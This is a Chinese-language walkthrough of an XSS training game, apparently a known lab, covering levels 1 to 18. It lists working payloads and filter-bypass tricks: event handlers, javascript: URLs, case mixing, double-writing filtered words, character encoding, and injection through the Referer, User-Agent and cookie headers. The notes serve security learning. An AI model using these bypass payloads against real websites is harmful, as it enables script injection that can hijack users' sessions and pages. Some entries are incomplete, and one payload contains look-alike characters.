xss小游戏通关笔记
levle1
在url中输入tt,页面输出tt
在url中构造这段js代码
<script>alert(1)</script>
level2
第二关是一个输入框,输入js代码
观察html页面代码,输出做了转义,但是输入没有做转义,在输入处构造js代码,注意闭合。
“>闭合前面的<”,//注入后门的内容,或者闭合后面的内容
"><script>alert(1)</script>//
"><script>alert(/xss/)</script>"
level3
第三关依然是一个输入框。输入一段js代码看html,输入和输出做了转义
不能使用<script>
,使用js中的事件
onmouseover
onclick
'onclick=alert(1)//
'onmouseover=alert(1)//
level4
在输入输出处做了转义和替换
不能使用<script>
同样使用事件绕过
"onclick=alert(1)//
"onmouseover=alert(1)//
level5
输入将<script>
代替<scr_ipt>
,输出转义
事件on也被替换了o_n
事件中的on替换成了o_n
使用a标签
"><a href=javascript:alert(1)>111</a>
"><a href=javascript:alert(1)//
level6
同样,输出做了转义,输入做了替换
a标签也不能使用了,大小写替换
"><a HrEf=javascript:alert(1)//
"><sCript>alert(1)</sCript>//
level7
on src 都被换成空了
使用双写绕过
"><scrscriptipt>alert(/xss/)</scrscriptipt>
"oonnclick=alert(1)//
"oonnmouseover=alert(1)//
level8
观察代码,输入使用htmlspecialchars函数做了html实体化,并且做了过滤替换。使用伪协议绕过。
javascript:alert(1)
但是script被过滤了,使用编码绕过。编码其中一个字母即可
javascript:alert(1)
level9
观察源码可以发现在第8关的基础上面,在输出点做了一个判断连接是否是http://
将http://1.com给注释掉了
javascript:alert(1)//http://1.com// #使用了注释
javascript:%0dhttp://1.com%0dalert(1) #不使用注释
level10
没有了输入框,查看源码
尖括号<>都被转换成空,还有三个hidden的隐藏输入框
构造js代码
hello&t_sort="type="text" onclick="alert(1)
level11
http头部的xss
$str11=$_SERVER['HTTP_REFERER'];
多了一个接收http请求头的字符串
抓包
改包,添加Referer头
Referer:" onmouseover=alert(11) type="text"
Referer:" onclick="alert(11)" type="text
level12
同11关,只是此关是UA注入的xss
onmouseover=alert(11) type="text"
" onclick="alert(11)" type="text
level13
此关是cookie
抓包
" onmouseover=alert(13) type="text"
" onclick="alert(13)" type="text
level14
未看明白,百度看是需要上传一个含有xss代码的图片触发xss。这关是exif xss
level15
未看明白,百度此关angularjs的ng-include,相当于PHP中的文件包含。
包含第一关的源码进行xss。
?src='level1.php?name=test<img src=1 οnerrοr=alert(1)>'
但是googleapis.com无法访问
level16
查看源码,过滤了空格,script,/
使用%0d %0a做分割符
?keyword=<img%0dsrc=1%0donerror=alert()>
level17
输入点在url上面,输出在src中
onmouseover=alert(1)
level18
和17关一样
onmouseover=alert(1)